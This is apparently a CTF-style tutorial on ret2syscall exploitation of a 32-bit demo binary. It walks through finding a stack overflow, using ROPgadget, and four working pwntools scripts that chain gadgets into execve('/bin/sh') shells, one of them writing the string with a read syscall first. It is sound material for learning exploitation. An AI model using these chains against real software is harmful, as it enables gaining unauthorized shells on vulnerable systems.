ret2syscall

This article will record some poc for ret2syscall.

Demo question can be downloaded here

32bits

ropfile

find hole

firstly use checksec file,the NX is enabled,so we can’t use ret2shellcode or ret2text.

check the elf is vulnerable ,and can easily find stack overflow.

and use gdb can get the overflow size is 0x6c

poc1

we find the string of “/bin/sh”

1
2
3
4
bkfish@ubuntu:/tmp$ ROPgadget --binary rop --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh

so we just use sys_execve(“/bin/sh”,NULL,NULL) to system call

in this web we can find every system call number and param, https://syscalls32.paolostivanin.com/,for example execve

so we need find shellcode of “int 0x80” address is 0x08049421

1
2
3
4
5
6
7
8
9
bkfish@ubuntu:/tmp$ ROPgadget --binary rop --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc

Unique gadgets found: 4

then set

1
2
3
4
eax 0xb
ebx address of "/bin/sh"
ecx 0
edx 0

we can use gadget to seek. for example eax

1
2
3
4
bkfish@ubuntu:/tmp$ ROPgadget --binary rop --only 'pop|ret' |grep 'eax'
0x080bb196 : pop eax ; ret
bkfish@ubuntu:/tmp$ ROPgadget --binary rop --only 'pop|ret' |grep 'ebx'
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

so we can write the poc

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
#context.terminal=['gnome-terminal','-x','sh','-c']
pop_eax=0x080bb196
pop_edx_ecx_ebx=0x0806eb90
addr_bin_sh=0x080be408
int_80=0x08049421
sh=process("./rop")
#pwnlib.gdb.attach(sh,'b *0x80485c0')
#payload=flat(['A'*0x6c+'bbbb',pop_eax,0xb,pop_edx_ecx_ebx,0,0,addr_bin_sh,int_80])
payload='a'*0x6c+'bbbb'+p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(addr_bin_sh)+p32(int_80)
print(payload)
sh.sendline(payload)
sh.interactive()

poc2

another rop chain

1
2
3
4
5
6
7
bkfish@ubuntu:/tmp$ ROPgadget --binary rop --only 'pop|ret' |grep 'eax'
0x080bb196 : pop eax ; ret
bkfish@ubuntu:/tmp$ ROPgadget --binary rop --only 'pop|ret' |grep 'edx'
0x0806eb6a : pop edx ; ret
bkfish@ubuntu:/tmp$ ROPgadget --binary rop --only 'pop|ret' |grep 'ecx'
0x0806eb91 : pop ecx ; pop ebx ; ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#encoding=utf-8
from pwn import *

pop_eax=0x080bb196
pop_edx=0x0806eb6a
pop_ecx_ebx=0x0806eb91
addr_bin_sh=0x080be408
int_80=0x08049421
sh=process("./rop")
#context.terminal=['gnome-terminal','-x','sh','-c']
#pwnlib.gdb.attach(sh,'b *0x08048E9B')
#payload=flat(['A'*0x6c+'bbbb',pop_eax,0xb,pop_edx_ecx_ebx,0,0,addr_bin_sh,int_80])
payload='a'*0x6c+'bbbb'+p32(pop_eax)+p32(0xb)+p32(pop_edx)+p32(0)+p32(0x0806eb91)+p32(0)+p32(addr_bin_sh)+p32(int_80)
print(payload)
sh.sendline(payload)
sh.interactive()

poc3

The ROPgadget can auto generate the rop chain

1
ROPgadget --binary rop --ropchain


exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#encoding=utf-8
from pwn import *
#!/usr/bin/env python2
# execve generated by ROPgadget

from struct import pack
sh=process("./rop")
# Padding goes here
p = 'a'*0x70

p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bb196) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bb196) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054590) # xor eax, eax ; ret
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806eb91) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054590) # xor eax, eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x08049421) # int 0x80
print(p)
sh.sendline(p)
sh.interactive()

is so interesting

poc4

if we can’t find string “/bin/sh”,how can we pwn it?
we can read string “/bin/sh” as buf ,the use this buf as param to system call exe.
so we find how to read string as buf.

1
2
3
4
eax 0x3
ebx 0
ecx address of buf
edx 0x10

but if we use ROPgadget --binary rop --only 'int' to system call,we can juet use once it.
so if we want system call multiple times,we need use opcode.

1
2
3
4
bkfish@ubuntu:/tmp$ ROPgadget --binary rop --opcode cd80c3
Opcodes information
============================================================
0x0806f230 : cd80c3

we can see the “opcode cd80c3”(0x0806f230)

1
2
.text:0806F230                 int     80h           
.text:0806F232 retn

this it so comfortable for system call
so the final exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#encoding=utf-8
from pwn import *

pop_eax=0x080bb196
pop_edx=0x0806eb6a
pop_ecx_ebx=0x0806eb91
pop_bin_sh=0x080be408
int_80=0x0806f230
sh=process("./rop")
elf=ELF('./rop')
buf=elf.bss()+0x300

payload='a'*0x6c+'bbbb'
#read
payload=payload+p32(pop_eax)+p32(0x3)+p32(pop_edx)+p32(0x10)+p32(pop_ecx_ebx)+p32(buf)+p32(0)+p32(int_80)

#exec
payload=payload+p32(pop_eax)+p32(0xb)+p32(pop_edx)+p32(0x0)+p32(pop_ecx_ebx)+p32(0)+p32(buf)+p32(int_80)

print(payload)
sh.sendline(payload)
sleep(1)
sh.send('/bin/sh\x00')
sh.interactive()

64bits

what we need do

1
2
3
4
5
$rax==59
$rdi==“/bin/sh”
$rsi==0
$rdx==0
syscall